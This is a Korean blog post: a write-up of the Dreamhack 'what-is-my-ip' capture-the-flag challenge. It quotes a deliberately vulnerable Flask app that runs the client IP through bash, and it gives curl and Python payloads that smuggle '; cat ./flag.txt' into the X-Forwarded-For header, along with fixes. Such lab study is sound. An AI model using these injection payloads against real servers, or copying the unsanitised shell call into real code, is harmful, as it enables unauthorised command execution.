Dreamhack/Dreamhack Wargame (Challenge)

[84] IT 비전공자 [dreamhack]what-is-my-ip문제 풀기

imaginefuture-1 2024. 12. 2. 08:12

제 아이피는요..? 60초후에 공개됩니다

 

 

 

홈페이지에 들어가면 이렇게 뜬다, 잉? 제아이피 맞나여?

 

 

아닌데..나 192.168로 시작하는데..ㅋㅋㅋㅋ저거 누구아이핀교!

 

소스코드 보러가자

 

 

#!/usr/bin/python3
import os
from subprocess import run, TimeoutExpired
from flask import Flask, request, render_template

app = Flask(__name__)
app.secret_key = os.urandom(64)


@app.route('/')
def flag():
    user_ip = request.access_route[0] if request.access_route else request.remote_addr
    try:
        result = run(
            ["/bin/bash", "-c", f"echo {user_ip}"],
            capture_output=True,
            text=True,
            timeout=3,
        )
        return render_template("ip.html", result=result.stdout)

    except TimeoutExpired:
        return render_template("ip.html", result="Timeout!")


app.run(host='0.0.0.0', port=3000)

 

 

 

 

 

이 Python 코드는 Flask 프레임워크를 사용한 간단한 웹 애플리케이션입니다. 사용자의 IP 주소를 받아 출력하는 기능을 제공합니다. 아래는 코드의 주요 부분에 대한 설명입니다.


1. 주요 구성 요소

(1) app.secret_key

  • app.secret_key = os.urandom(64):
    • Flask 애플리케이션의 보안 키를 설정.
    • Flask 세션 데이터를 암호화하거나 보호하는 데 사용.
    • os.urandom(64)를 통해 64바이트 길이의 임의 바이트 배열 생성.

(2) / 라우트

  • 애플리케이션의 기본 URL(/)로 접속 시 flag 함수가 실행.
  • 기능:
    • 사용자의 IP 주소를 가져와 서버 명령어를 통해 출력.

2. flag 함수 동작

(1) 사용자 IP 가져오기

user_ip = request.access_route[0] if request.access_route else request.remote_addr
  • request.access_route:
    • 사용자의 실제 IP 주소를 추적(예: 프록시 뒤에 있는 클라이언트).
  • request.remote_addr:
    • 사용자의 직접적인 IP 주소.
  • 이 코드로 사용자의 IP 주소를 user_ip 변수에 저장.

(2) 사용자 IP를 명령어로 출력

result = run(
    ["/bin/bash", "-c", f"echo {user_ip}"],
    capture_output=True,
    text=True,
    timeout=3,
)
  • 설명:
    • subprocess.run을 사용해 /bin/bash에서 명령어를 실행.
    • echo {user_ip}: 사용자 IP 주소를 출력.
    • capture_output=True: 표준 출력과 표준 에러를 캡처.
    • text=True: 결과를 문자열로 처리.
    • timeout=3: 실행 시간이 3초를 초과하면 타임아웃 발생.
  • 결과 처리:
    • 명령어 실행 결과는 result.stdout에 저장.
    • 성공적으로 실행되면 HTML 템플릿(ip.html)을 렌더링하며 result.stdout 내용을 삽입.

(3) 타임아웃 처리

except TimeoutExpired:
    return render_template("ip.html", result="Timeout!")
  • 명령어 실행이 3초를 초과하면 TimeoutExpired 예외 발생.
  • 이 경우 Timeout! 메시지를 HTML 템플릿에 삽입하여 출력.

3. app.run 설정

app.run(host='0.0.0.0', port=3000)
  • Flask 애플리케이션을 모든 네트워크 인터페이스에서 포트 3000으로 실행.

4. 보안 및 문제점

(1) 명령어 인젝션 가능성

  • f"echo {user_ip}"는 사용자 IP 주소를 명령어로 직접 삽입.
  • IP 주소가 악의적인 명령어로 변조되면 명령어 인젝션이 가능.
  • 해결 방법:
    • 사용자 입력을 명령어에 직접 포함하지 말고 안전한 방식으로 처리:
      result = run(["/bin/echo", user_ip], capture_output=True, text=True, timeout=3)
      

(2) HTML 템플릿 관리

  • 템플릿(ip.html)이 코드에 포함되지 않았지만, 렌더링하려는 구조가 Flask 표준 HTML 템플릿을 따르는 것으로 가정.
  • 적절한 HTML 엔코딩을 통해 XSS 공격 방지.

(3) 타임아웃 예외 처리

  • 타임아웃 발생 시 추가적인 예외 로깅을 통해 문제 원인을 기록할 수 있음:
    except TimeoutExpired as e:
        app.logger.error(f"Timeout occurred: {e}")
    

5. 요약

이 코드는 사용자 IP 주소를 출력하는 간단한 Flask 애플리케이션입니다.
주요 동작:

  • 사용자 IP를 가져옴.
  • /bin/bash 명령어를 실행하여 IP 주소를 출력.
  • 명령어 실행 결과 또는 타임아웃 메시지를 HTML 템플릿에 렌더링.

보안상의 취약점:

  • 명령어 인젝션 위험이 있음.
  • 사용자 입력을 처리할 때 안전한 방법으로 수정이 필요.

 


 

 

 

 

이 Flask 애플리케이션에서 flag를 얻으려면, 취약점을 이용해야 합니다. 코드 분석 결과, 이 애플리케이션은 명령어 인젝션 취약점이 있습니다. 아래에 플래그를 얻는 절차를 설명합니다.


1. 취약점 분석

(1) 명령어 인젝션 가능

  • 코드에서 subprocess.run은 사용자가 입력한 데이터를 명령어로 실행합니다:
    result = run(
        ["/bin/bash", "-c", f"echo {user_ip}"],
        capture_output=True,
        text=True,
        timeout=3,
    )
    
  • 여기서 user_ip는 사용자 입력(request.access_route 또는 request.remote_addr)으로 설정됩니다.
  • 사용자 입력이 직접 명령어에 포함되므로, 특수 문자를 통해 명령어 인젝션이 가능합니다.

(2) 공격 가능 지점

  • HTTP 요청의 X-Forwarded-For 헤더나 IP 주소를 조작하여 명령어를 삽입할 수 있습니다.

2. 공격 시나리오

  • 목표: flag.txt 파일의 내용을 읽고 플래그를 출력.
  • 방법:
    1. X-Forwarded-For 헤더에 명령어 인젝션을 포함.
    2. cat ./flag.txt 명령어를 실행하도록 유도.

3. 공격 명령어

HTTP 요청을 생성하며 X-Forwarded-For 헤더를 활용:

curl -H "X-Forwarded-For: 127.0.0.1; cat ./flag.txt" http://<target_ip>:3000/

명령어 구조

  • 127.0.0.1: 정상적인 IP 주소처럼 보이도록 설정.
  • ; cat ./flag.txt: 명령어 인젝션을 통해 flag.txt 파일을 출력.

예상 결과

  • 명령어 인젝션이 성공하면, flag.txt 파일의 내용이 서버의 출력으로 반환됩니다.

4. 시뮬레이션

(1) Python으로 공격 코드 작성

import requests

url = "http://<target_ip>:3000/"  # Flask 서버 URL
headers = {
    "X-Forwarded-For": "127.0.0.1; cat ./flag.txt"
}

response = requests.get(url, headers=headers)

print(response.text)  # 플래그 출력

(2) curl 명령어 사용

curl -H "X-Forwarded-For: 127.0.0.1; cat ./flag.txt" http://<target_ip>:3000/

5. 방어 방법

서버 관리자가 이 취약점을 방지하려면:

  1. 사용자 입력 검증:
    • 입력값을 명령어에 직접 포함하지 말고 안전한 방법으로 처리.
    result = run(["/bin/echo", user_ip], capture_output=True, text=True, timeout=3)
    
  2. 특수 문자 필터링:
    • 입력값에서 특수 문자를 제거하거나 허용된 패턴만 허용.
  3. 명령어 실행 환경 격리:
    • Docker 또는 가상 환경에서 명령어 실행.

결론

이 취약점은 X-Forwarded-For 헤더를 조작해 명령어 인젝션을 통해 플래그를 읽을 수 있습니다. 공격 명령어를 실행하여 플래그를 얻으세요. 😊

 

 


 

user_ip라는 변수에 내 아이피를 담고, echo 해주고 그걸 화면에 보여주고 있다. flag는 /flag에 위치하니 command injection을 통해 가져오면 된다. 
 
할 건 내 ip 변조.. 근데 사실 ip변조는 앱 계층 단에서는 불가능하지만, 코드를 보면 request.access_route 라는 게 존재한다. 뭔가 싶어서 찾아보니

forwarded 헤더가 존재하면 client ip부터 마지막 proxy ip까지 배열로 담고 있는 놈이다. X-Forwarded-For 라는 헤더는 만약 http request가 프록시 서버를 거칠 경우 원래 요청 ip주소를 담고 있는 헤더이다. 이 헤더는 수동으로 설정해줘야 한다. 

출처 ㅣhttps://tjrrb4551.tistory.com/entry/Dreamhack-what-is-my-ip-write-up

 

 

앱계층에서 ip변조가 불가능하지만 forwarded헤더가 존재하면 수동으로 변경 가능한가보다

 

 

최상단(/) 에는 flag라는 함수가 정의되어 있다. 
 
request.access_route에서 첫 번째 요소를 user_ip라는 변수에 저장한다. 없으면 request.remote_addr 값을 저장한다.
 
request.access_route는 클라이언트가 서버에 접근하기 위해 거친 프록시 서버들의 IP주소 목록을 반환한다. 

.
.
.

그렇게 access_route는 X-Forwareded-For 헤더를 가져오고, 
여기서는 request.access_route[0]을 user_ip에 저장하므로 0번째인 클라이언트 IP가 저장될 것이다. 
 
현재 문제의 소스코드는 request.access_route[0]를 user_ip 에 그대로 저장하고 있고,
검증을 하지 않은 채 ["/bin/bash", "-c", f"echo {user_ip}"] 를 실행시키는 모습을 볼 수 있다. (내가 뭘 넣을 줄 알고)
 
따라서 X-Forwarded-For 이라는 헤더를 추가해 cat /flag를 실행시킬 수 있는 명령을 집어넣으면 되겠다. 


출처ㅣhttps://minnggyuu.tistory.com/12
 

 

 

드디어

 

버프수트

성공함

ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ

ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ

 

감격의 눈물 그 자체